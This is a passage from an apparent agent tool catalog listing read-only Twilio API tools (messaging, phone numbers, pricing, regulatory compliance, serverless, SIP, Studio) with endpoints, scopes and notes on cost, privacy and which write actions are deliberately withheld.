/api/v1/tools/twilio/get-intelligence-v3-operator-version. Scopes: twilio_read. twilio_get_knowledge_source (read) — Get source — Twilio Knowledge — the retrieval corpus behind Twilio's AI features. Get knowledge. Read-only. Usage-based billing applies to queries, not to these reads. GET /api/v1/tools/twilio/get-knowledge-source. Scopes: twilio_read. twilio_get_knowledge_status (read) — Get status — Twilio Knowledge — the retrieval corpus behind Twilio's AI features. Get knowledge status. Read-only. Usage-based billing applies to queries, not to these reads. GET /api/v1/tools/twilio/get-knowledge-status. Scopes: twilio_read. twilio_get_knowledge_v2_knowledge (read) — Get knowledge — The v2 Knowledge control plane, organised into knowledge bases. Retrieve Knowledge Source. Read-only. GET /api/v1/tools/twilio/get-knowledge-v2-knowledge. Scopes: twilio_read. twilio_get_knowledge_v2_knowledge_base (read) — Get knowledge base — The v2 Knowledge control plane, organised into knowledge bases. Retrieve a Knowledge Base. Read-only. GET /api/v1/tools/twilio/get-knowledge-v2-knowledge-base. Scopes: twilio_read. twilio_get_knowledge_v2_operation (read) — Get operation — The v2 Knowledge control plane, organised into knowledge bases. Get Operation Status. Read-only. GET /api/v1/tools/twilio/get-knowledge-v2-operation. Scopes: twilio_read. twilio_get_lookup_account_rate_limits (read) — Get account rate limits — Lookup v2 — phone-number intelligence, and the rate limits the account has for it. These particular reads are free; the paid part of Lookup is the `fields` argument on twilio_lookup_phone_number. GET /api/v1/tools/twilio/get-lookup-account-rate-limits. Scopes: twilio_read. twilio_get_lookup_phone_number_overrides (read) — Get phone number overrides — Lookup v2 — phone-number intelligence, and the rate limits the account has for it. Get Overrides for a Phone Number for a specific field. These particular reads are free; the paid part of Lookup is the `fields` argument on twilio_lookup_phone_number. GET /api/v1/tools/twilio/get-lookup-phone-number-overrides. Scopes: twilio_read. twilio_get_lookup_rate_limit (read) — Get rate limit — Lookup v2 — phone-number intelligence, and the rate limits the account has for it. These particular reads are free; the paid part of Lookup is the `fields` argument on twilio_lookup_phone_number. GET /api/v1/tools/twilio/get-lookup-rate-limit. Scopes: twilio_read. twilio_get_lookup_v1_phone_number (read) — Get phone number — The superseded v1 Lookup API, still published and still answering. Fetch information about a phone number. COSTS MONEY if `Type` selects carrier or caller-name data. Prefer twilio_lookup_phone_number, which is the v2 form of the same query. GET /api/v1/tools/twilio/get-lookup-v1-phone-number. Scopes: twilio_read. twilio_get_marketplace_available_add_on (read) — Get available add on — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. Fetch an instance of an Add-on currently available to be installed. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/get-marketplace-available-add-on. Scopes: twilio_read. twilio_get_marketplace_available_add_on_extension (read) — Get available add on extension — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. Fetch an instance of an Extension for the Available Add-on. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/get-marketplace-available-add-on-extension. Scopes: twilio_read. twilio_get_marketplace_installed_add_on (read) — Get installed add on — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. Fetch an instance of an Add-on currently installed on this Account. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/get-marketplace-installed-add-on. Scopes: twilio_read. twilio_get_marketplace_installed_add_on_extension (read) — Get installed add on extension — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. Fetch an instance of an Extension for the Installed Add-on. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/get-marketplace-installed-add-on-extension. Scopes: twilio_read. twilio_get_marketplace_listing (read) — Get listing — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. This endpoint returns the data of a given Listing. To find a Listing's SID, use the [Available Add-ons resource](/docs/marketplace/api/available-add-ons) or view its Listing details page in the Console by visiting the Catalog or the My Listings tab and selecting the Listing. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/get-marketplace-listing. Scopes: twilio_read. twilio_get_memory_data_mapping (read) — Get data mapping — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Retrieve a Data Mapping. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-data-mapping. Scopes: twilio_read. twilio_get_memory_identity_resolution_settings (read) — Get identity resolution settings — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Retrieve Identity Resolution Settings. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-identity-resolution-settings. Scopes: twilio_read. twilio_get_memory_operation (read) — Get operation — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Get Operation Status. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-operation. Scopes: twilio_read. twilio_get_memory_profile (read) — Get profile — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-profile. Scopes: twilio_read. twilio_get_memory_profile_conversation_summary (read) — Get profile conversation summary — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Retrieve Conversation Summary. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-profile-conversation-summary. Scopes: twilio_read. twilio_get_memory_profile_identifier (read) — Get profile identifier — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Retrieve Profile Identifier. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-profile-identifier. Scopes: twilio_read. twilio_get_memory_profile_import_v2 (read) — Get profile import v2 — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Get Import Status. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-profile-import-v2. Scopes: twilio_read. twilio_get_memory_profile_observation (read) — Get profile observation — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Retrieve Observation. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-profile-observation. Scopes: twilio_read. twilio_get_memory_store (read) — Get store — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Retrieve a Memory Store. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-store. Scopes: twilio_read. twilio_get_memory_trait_group (read) — Get trait group — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Retrieve a Trait Group. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/get-memory-trait-group. Scopes: twilio_read. twilio_get_message (read) — Get one message by SID, including its delivery status and any Twilio error code. Delivery is asynchronous — twilio_send_message returns `queued` or `accepted`, not `delivered` — so this is how to find out whether a message that was accepted actually arrived. Get a SID from twilio_list_messages or from a send. GET /api/v1/tools/twilio/message. Scopes: twilio_read. twilio_get_message_media (read) — Get one media item's metadata — content type, parent message and creation date. METADATA ONLY; the binary is not returned. Get the SID from twilio_list_message_media. GET /api/v1/tools/twilio/message/media-item. Scopes: twilio_read. twilio_get_messaging_alpha_sender (read) — Get alpha sender — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-alpha-sender. Scopes: twilio_read. twilio_get_messaging_brand_vetting (read) — Get brand vetting — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-brand-vetting. Scopes: twilio_read. twilio_get_messaging_channel_sender (read) — Get channel sender — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-channel-sender. Scopes: twilio_read. twilio_get_messaging_destination_alpha_sender (read) — Get destination alpha sender — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-destination-alpha-sender. Scopes: twilio_read. twilio_get_messaging_domain_cert_v4 (read) — Get domain cert v4 — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-domain-cert-v4. Scopes: twilio_read. twilio_get_messaging_domain_config (read) — Get domain config — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-domain-config. Scopes: twilio_read. twilio_get_messaging_domain_config_messaging_service (read) — Get domain config messaging service — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-domain-config-messaging-service. Scopes: twilio_read. twilio_get_messaging_domain_dns_validation (read) — Get domain DNS validation — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-domain-dns-validation. Scopes: twilio_read. twilio_get_messaging_linkshortening_messaging_service_domain_association (read) — Get linkshortening messaging service domain association — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-linkshortening-messaging-service-domain-association. Scopes: twilio_read. twilio_get_messaging_price (read) — Read this account's outbound and inbound SMS prices for one country, per number type. Free rate-card read, and the honest way to answer 'what will this send cost' before calling twilio_send_message — the price is account-specific, so guessing from a public page is wrong. GET /api/v1/tools/twilio/pricing/messaging. Scopes: twilio_read. twilio_get_messaging_service (read) — Get a Messaging Service. Inspect one service's settings — status_callback, use_inbound_webhook_on_number, area-code geomatch, sticky sender, smart encoding, the fallback URL and the validity period — which decide what actually happens to a send routed through it. Free and non-mutating; twilio_update_messaging_service changes everything except the webhook URLs, which are deliberately not settable through Agentic Fabriq. GET /api/v1/tools/twilio/messaging-service. Scopes: twilio_read. twilio_get_messaging_service_number (read) — Get one phone number's membership of a Messaging Service, with its capabilities and the country it belongs to. The detail half of twilio_list_messaging_service_numbers. GET /api/v1/tools/twilio/messaging-service/phone-number. Scopes: twilio_read. twilio_get_messaging_short_code (read) — Get short code — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-short-code. Scopes: twilio_read. twilio_get_messaging_usecase (read) — Get usecase — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/get-messaging-usecase. Scopes: twilio_read. twilio_get_messaging_v2_channels_sender (read) — Get channels sender — The v2 Messaging surface — the unified channel sender catalog. Retrieve a Sender. Free and read-only. GET /api/v1/tools/twilio/get-messaging-v2-channels-sender. Scopes: twilio_read. twilio_get_messaging_v2_domain_cert_v4 (read) — Get domain cert v4 — The v2 Messaging surface — the unified channel sender catalog. Free and read-only. GET /api/v1/tools/twilio/get-messaging-v2-domain-cert-v4. Scopes: twilio_read. twilio_get_notification (read) — Get one notification with its full request and response text, error code and the resource it relates to. GET /api/v1/tools/twilio/notification. Scopes: twilio_read. twilio_get_number_portability (read) — Ask Twilio whether a specific number is eligible to be ported into this account, and what it would need. Free, read-only, and it starts nothing — the answer is advisory. GET /api/v1/tools/twilio/number-portability. Scopes: twilio_read. twilio_get_numbers_authorization_document (read) — Get authorization document — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch a specific AuthorizationDocument. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-authorization-document. Scopes: twilio_read. twilio_get_numbers_bulk_eligibility (read) — Get bulk eligibility — The Phone Numbers API — porting, hosting and eligibility. Fetch an eligibility bulk check that you requested to host in Twilio. READ ONLY. Starting or cancelling a port moves a number between carriers on the strength of a Letter of Authorization and can strand it between them, so no write here is exposed. GET /api/v1/tools/twilio/get-numbers-bulk-eligibility. Scopes: twilio_read. twilio_get_numbers_bulk_hosted_number_order (read) — Get bulk hosted-number order — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch a specific BulkHostedNumberOrder. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-bulk-hosted-number-order. Scopes: twilio_read. twilio_get_numbers_end_user (read) — Get end user — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch specific End User Instance. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-end-user. Scopes: twilio_read. twilio_get_numbers_end_user_type (read) — Get end user type — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch a specific End-User Type Instance. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-end-user-type. Scopes: twilio_read. twilio_get_numbers_evaluation (read) — Get evaluation — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch specific Evaluation Instance. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-evaluation. Scopes: twilio_read. twilio_get_numbers_hosted_number_order (read) — Get hosted-number order — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch a specific HostedNumberOrder. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-hosted-number-order. Scopes: twilio_read. twilio_get_numbers_item_assignment (read) — Get item assignment — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch specific Assigned Item Instance. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-item-assignment. Scopes: twilio_read. twilio_get_numbers_porting_port_in (read) — Get porting port in — The Phone Numbers API — porting, hosting and eligibility. Fetch a port in request by SID. READ ONLY. Starting or cancelling a port moves a number between carriers on the strength of a Letter of Authorization and can strand it between them, so no write here is exposed. GET /api/v1/tools/twilio/get-numbers-porting-port-in. Scopes: twilio_read. twilio_get_numbers_porting_port_in_phone_number (read) — Get porting port in phone number — The Phone Numbers API — porting, hosting and eligibility. Fetch a phone number by port in request SID and phone number SID. READ ONLY. Starting or cancelling a port moves a number between carriers on the strength of a Letter of Authorization and can strand it between them, so no write here is exposed. GET /api/v1/tools/twilio/get-numbers-porting-port-in-phone-number. Scopes: twilio_read. twilio_get_numbers_porting_webhook_configuration (read) — Get porting webhook configuration — The Phone Numbers API — porting, hosting and eligibility. Allows to fetch the webhook configuration. READ ONLY. Starting or cancelling a port moves a number between carriers on the strength of a Letter of Authorization and can strand it between them, so no write here is exposed. GET /api/v1/tools/twilio/get-numbers-porting-webhook-configuration. Scopes: twilio_read. twilio_get_numbers_regulation (read) — Get regulation — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch specific Regulation Instance. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-regulation. Scopes: twilio_read. twilio_get_numbers_short_code_application (read) — Get short code application — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch a specific Short Code Application instance. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-short-code-application. Scopes: twilio_read. twilio_get_numbers_supporting_document (read) — Get supporting document — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch specific Supporting Document Instance. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-supporting-document. Scopes: twilio_read. twilio_get_numbers_supporting_document_type (read) — Get supporting document type — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Fetch a specific Supporting Document Type Instance. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/get-numbers-supporting-document-type. Scopes: twilio_read. twilio_get_outgoing_caller_id (read) — Get outgoing caller id — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an outgoing-caller-id belonging to the account used to make the request. Free and read-only. GET /api/v1/tools/twilio/get-outgoing-caller-id. Scopes: twilio_read. twilio_get_phone_number (read) — Get one owned number's full configuration: its capabilities, the sms_url and voice_url its inbound traffic is pointed at, its status_callback, its emergency address and any bundle attached to it. The read half of a resource whose writes — buying, releasing and repointing webhooks — are deliberately not exposed. GET /api/v1/tools/twilio/phone-number. Scopes: twilio_read. twilio_get_phone_number_price (read) — Read what a phone number costs in one country, per number type — the recurring monthly charge and any one-time fee. Free read. Pairs with twilio_search_available_numbers so the list a human acts on carries its real price. GET /api/v1/tools/twilio/pricing/phone-numbers. Scopes: twilio_read. twilio_get_pricing_v2_trunking_country (read) — Get trunking country — The v2 rate cards, which add trunking and per-destination voice prices. Fetch a specific Country. Free and read-only. GET /api/v1/tools/twilio/get-pricing-v2-trunking-country. Scopes: twilio_read. twilio_get_pricing_v2_trunking_number (read) — Get trunking number — The v2 rate cards, which add trunking and per-destination voice prices. Fetch pricing information for a specific destination and, optionally, origination phone number. Free and read-only. GET /api/v1/tools/twilio/get-pricing-v2-trunking-number. Scopes: twilio_read. twilio_get_pricing_v2_voice_number (read) — Get voice number — The v2 rate cards, which add trunking and per-destination voice prices. Fetch pricing information for a specific destination and, optionally, origination phone number. Free and read-only. GET /api/v1/tools/twilio/get-pricing-v2-voice-number. Scopes: twilio_read. twilio_get_pricing_voice_country (read) — Get voice country — Account-specific rate cards. The price is per account, so reading it is the only honest way to answer what something will cost. Free and read-only. GET /api/v1/tools/twilio/get-pricing-voice-country. Scopes: twilio_read. twilio_get_pricing_voice_number (read) — Get voice number — Account-specific rate cards. The price is per account, so reading it is the only honest way to answer what something will cost. Free and read-only. GET /api/v1/tools/twilio/get-pricing-voice-number. Scopes: twilio_read. twilio_get_queue (read) — Get queue — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of a queue identified by the QueueSid. Free and read-only. GET /api/v1/tools/twilio/get-queue. Scopes: twilio_read. twilio_get_queue_member (read) — Get queue member — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch a specific member from the queue. Free and read-only. GET /api/v1/tools/twilio/get-queue-member. Scopes: twilio_read. twilio_get_recording (read) — Get one recording's metadata: duration, channels, price, source, status and the call it belongs to. METADATA ONLY — the audio is not returned. GET /api/v1/tools/twilio/recording. Scopes: twilio_read. twilio_get_recording_add_on_result (read) — Get recording add on result — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of an AddOnResult. Free and read-only. GET /api/v1/tools/twilio/get-recording-add-on-result. Scopes: twilio_read. twilio_get_recording_add_on_result_payload (read) — Get recording add on result payload — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of a result payload. Free and read-only. GET /api/v1/tools/twilio/get-recording-add-on-result-payload. Scopes: twilio_read. twilio_get_recording_add_on_result_payload_data (read) — Get recording add on result payload data — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of a result payload. Free and read-only. GET /api/v1/tools/twilio/get-recording-add-on-result-payload-data. Scopes: twilio_read. twilio_get_recording_transcription (read) — Get recording transcription — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/get-recording-transcription. Scopes: twilio_read. twilio_get_regulatory_bundle (read) — Get one regulatory bundle with its status, valid-until date, the regulation it satisfies and the failure reason if it was rejected. Free and non-mutating. twilio_evaluate_numbers_bundle runs the regulator's rules against a draft and reports what is still missing. GET /api/v1/tools/twilio/regulatory-bundle. Scopes: twilio_read. twilio_get_routes_phone_number (read) — Get phone number — Inter-Network Exchange — which Twilio voice route a number, SIP domain or trunk is assigned to. Fetch the Inbound Processing Region assigned to a phone number. Free and read-only. GET /api/v1/tools/twilio/get-routes-phone-number. Scopes: twilio_read. twilio_get_routes_sip_domain (read) — Get SIP domain — Inter-Network Exchange — which Twilio voice route a number, SIP domain or trunk is assigned to. Free and read-only. GET /api/v1/tools/twilio/get-routes-sip-domain. Scopes: twilio_read. twilio_get_routes_trunks (read) — Get trunks — Inter-Network Exchange — which Twilio voice route a number, SIP domain or trunk is assigned to. Fetch the Inbound Processing Region assigned to a SIP Trunk. Free and read-only. GET /api/v1/tools/twilio/get-routes-trunks. Scopes: twilio_read. twilio_get_routes_v3_phone_number (read) — Get phone number — The v3 Inter-Network Exchange read. Fetch the Inbound Processing Region assigned to a phone number. Free and read-only. GET /api/v1/tools/twilio/get-routes-v3-phone-number. Scopes: twilio_read. twilio_get_serverless_asset (read) — Get asset — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific Asset resource. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-asset. Scopes: twilio_read. twilio_get_serverless_asset_version (read) — Get asset version — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific Asset Version. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-asset-version. Scopes: twilio_read. twilio_get_serverless_build (read) — Get build — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific Build resource. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-build. Scopes: twilio_read. twilio_get_serverless_build_status (read) — Get build status — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific Build resource. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-build-status. Scopes: twilio_read. twilio_get_serverless_deployment (read) — Get deployment — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific Deployment. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-deployment. Scopes: twilio_read. twilio_get_serverless_environment (read) — Get environment — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific environment. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-environment. Scopes: twilio_read. twilio_get_serverless_function (read) — Get function — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific Function resource. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-function. Scopes: twilio_read. twilio_get_serverless_function_version (read) — Get function version — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific Function Version resource. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-function-version. Scopes: twilio_read. twilio_get_serverless_function_version_content (read) — Get function version content — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a the content of a specific Function Version resource. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-function-version-content. Scopes: twilio_read. twilio_get_serverless_log (read) — Get log — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific log. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-log. Scopes: twilio_read. twilio_get_serverless_service (read) — Get service — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific Service resource. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-service. Scopes: twilio_read. twilio_get_serverless_variable (read) — Get variable — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a specific Variable. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/get-serverless-variable. Scopes: twilio_read. twilio_get_short_code (read) — Get one short code's configuration, including the API version and the SMS handler URL its inbound traffic is pointed at. GET /api/v1/tools/twilio/short-code. Scopes: twilio_read. twilio_get_signing_key (read) — Get signing key — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/get-signing-key. Scopes: twilio_read. twilio_get_sip_auth_calls_credential_list_mapping (read) — Get SIP auth calls credential list mapping — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch a specific instance of a credential list mapping. Free and read-only. GET /api/v1/tools/twilio/get-sip-auth-calls-credential-list-mapping. Scopes: twilio_read. twilio_get_sip_auth_calls_ip_access_control_list_mapping (read) — Get SIP auth calls IP access control list mapping — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch a specific instance of an IP Access Control List mapping. Free and read-only. GET /api/v1/tools/twilio/get-sip-auth-calls-ip-access-control-list-mapping. Scopes: twilio_read. twilio_get_sip_auth_registrations_credential_list_mapping (read) — Get SIP auth registrations credential list mapping — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch a specific instance of a credential list mapping. Free and read-only. GET /api/v1/tools/twilio/get-sip-auth-registrations-credential-list-mapping. Scopes: twilio_read. twilio_get_sip_credential (read) — Get SIP credential — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch a single credential. Free and read-only. GET /api/v1/tools/twilio/get-sip-credential. Scopes: twilio_read. twilio_get_sip_credential_list (read) — Get SIP credential list — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Get a Credential List. Free and read-only. GET /api/v1/tools/twilio/get-sip-credential-list. Scopes: twilio_read. twilio_get_sip_credential_list_mapping (read) — Get SIP credential list mapping — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch a single CredentialListMapping resource from an account. Free and read-only. GET /api/v1/tools/twilio/get-sip-credential-list-mapping. Scopes: twilio_read. twilio_get_sip_domain (read) — Get SIP domain — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of a Domain. Free and read-only. GET /api/v1/tools/twilio/get-sip-domain. Scopes: twilio_read. twilio_get_sip_ip_access_control_list (read) — Get SIP IP access control list — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch a specific instance of an IpAccessControlList. Free and read-only. GET /api/v1/tools/twilio/get-sip-ip-access-control-list. Scopes: twilio_read. twilio_get_sip_ip_access_control_list_mapping (read) — Get SIP IP access control list mapping — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an IpAccessControlListMapping resource. Free and read-only. GET /api/v1/tools/twilio/get-sip-ip-access-control-list-mapping. Scopes: twilio_read. twilio_get_sip_ip_address (read) — Get SIP IP address — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Read one IpAddress resource. Free and read-only. GET /api/v1/tools/twilio/get-sip-ip-address. Scopes: twilio_read. twilio_get_studio_execution (read) — Get one Studio flow execution: its status, the contact it ran against and when it started and ended. GET /api/v1/tools/twilio/studio-execution. Scopes: twilio_read. twilio_get_studio_execution_context (read) — Get execution context — Studio — the customer's own call and message automations, and the runs of them. Retrieve the most recent context for an Execution. READ ONLY, for the same reason as v1. GET /api/v1/tools/twilio/get-studio-execution-context. Scopes: twilio_read. twilio_get_studio_execution_step (read) — Get execution step — Studio — the customer's own call and message automations, and the runs of them. Retrieve a Step. READ ONLY, for the same reason as v1. GET /api/v1/tools/twilio/get-studio-execution-step. Scopes: twilio_read. twilio_get_studio_execution_step_context (read) — Get execution step context — Studio — the customer's own call and message automations, and the runs of them. Retrieve the context for an Execution Step. READ ONLY, for the same reason as v1. GET /api/v1/tools/twilio/get-studio-execution-step-context. Scopes: twilio_read. twilio_get_studio_flow (read) — Get one Studio flow's definition, status, revision and webhook URL. Read-only. GET /api/v1/tools/twilio/studio-flow. Scopes: twilio_read. twilio_get_studio_flow_revision (read) — Get flow revision — Studio — the customer's own call and message automations, and the runs of them. Retrieve a specific Flow revision. READ ONLY, for the same reason as v1. GET /api/v1/tools/twilio/get-studio-flow-revision. Scopes: twilio_read. twilio_get_studio_test_user (read) — Get test user — Studio — the customer's own call and message automations, and the runs of them. Fetch flow test users. READ ONLY, for the same reason as v1. GET 